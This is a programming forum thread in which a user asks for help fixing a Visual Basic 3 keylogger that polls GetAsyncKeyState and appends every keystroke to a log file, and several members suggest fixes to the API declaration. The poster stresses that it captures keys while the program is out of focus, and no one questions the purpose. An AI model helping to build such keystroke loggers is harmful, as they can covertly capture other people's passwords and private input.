Results 1 to 12 of 12

Thread: Help me find error in my code

  1. #1

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    Wink

    Ok its a key Logger.....
    Keep in mind i can't use "public" in declarations because i have vb3

    In general as a function I have


    Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer


    In the form1 load event... I have

    Sub Form_Load ()
    Timer1.Interval = 1
    Timer1.Enabled = True

    End Sub

    In Timer1 I have

    Sub Timer1_Timer ()
    For i = 1 To 255
    x = GetAsyncKeyState(i)
    If x > 0 Then
    Open "\flag\logs\Keylog.Log" For Append As #1
    Print #1, (Chr(i))
    Close #1
    End If
    Next i

    End Sub


    Now I keep getting a file not found error for GetAsyncKeyState........Any Suggestions? If not can you try to rewrite it another way so i can get it working. thanks im bushed.
    -RaY
    VB .Net 2010 (Ultimate)

  2. #2
    Guest
    I think because you are using an API in VB3...Instead of using user32, try using user16 and see if it works.


  3. #3

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    Nope didn't work

    ;o\, this sucks
    ..Any suggestions?
    -RaY
    VB .Net 2010 (Ultimate)

  4. #4
    Former Admin/Moderator MartinLiss's Avatar
    Join Date
    Sep 1999
    Location
    San Jose, CA
    Posts
    33,431
    First of all, you should always dimension your variables, particularly if you are going to be using them in API calls.

    So your x variable should be an Integer since that's what the API expects. Here is an example from the VB API site.

    Dim result As Integer ' result of the function
    ' Get the state of the Q key as returned by the function.
    result = GetAsyncKeyState(VK_Q) ' get status of the Q key
    ' Check the &H1 bit of the return value.If (result And &H80) = &H80 Then
    Debug.Print "The Q key has been pressed since the last call to GetAsyncKeyState."
    Else
    Debug.Print "The Q key has not been pressed since the last call to GetAsyncKeyState."
    End If

  5. #5
    Guest
    If that didn't work that maybe VB3 doesn't support API Calls. do other API's work?

  6. #6

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    He hehe

    Damn Mega, is VB that old to ya hehehe, yeah it supports API calls.

    Im gonna try that code, I have VB6, the only problem is i started this project in VB3 and then when i try to open it in 6, it gave me a lot of mumbo jumbo errors, especially with the bas files........Royally sucks, this would of made my life so much easier...
    -RaY
    VB .Net 2010 (Ultimate)

  7. #7

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    Cool Hold Up

    Martin, are you telling me I have to do a different line of code per key? Define all the constants etc? Woa, i guess that can work i just figured it be better then it scans through all the ascii when found writes it to text file...plus that code worked when program wasnt in focus... Where would be the best place to put your code.....form load, module.....still new at this give me a little more info.
    -RaY
    VB .Net 2010 (Ultimate)

  8. #8
    Frenzied Member Mark Sreeves's Avatar
    Join Date
    Nov 1999
    Location
    UK
    Posts
    1,845
    you missed .dll of the User32

    Code:
    Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal vKey As Long) As Integer
    Mark
    -------------------

  9. #9

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    Error loading DLL

    Got a error loading dll when I added a dll at the end of it......driving me nutz, keep at it guys
    -RaY
    VB .Net 2010 (Ultimate)

  10. #10
    Frenzied Member Mark Sreeves's Avatar
    Join Date
    Nov 1999
    Location
    UK
    Posts
    1,845
    the VB3 api call is:

    Code:
    Declare Function GetAsyncKeyState Lib "User" (ByVal vKey As Integer) As Integer
    Have you tried this yet?

    Mark
    -------------------

  11. #11

    Thread Starter
    Hyperactive Member
    Join Date
    May 2000
    Posts
    344

    darn

    I get a bad dll calling convention error.....hehe the hardships huh...that was using "user" by the way....any more ideas, keep it coming.
    -RaY
    VB .Net 2010 (Ultimate)

  12. #12
    Guest
    You can't load it into VB6, because VB3 saves into binary. i'll try to look for a converter for you.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width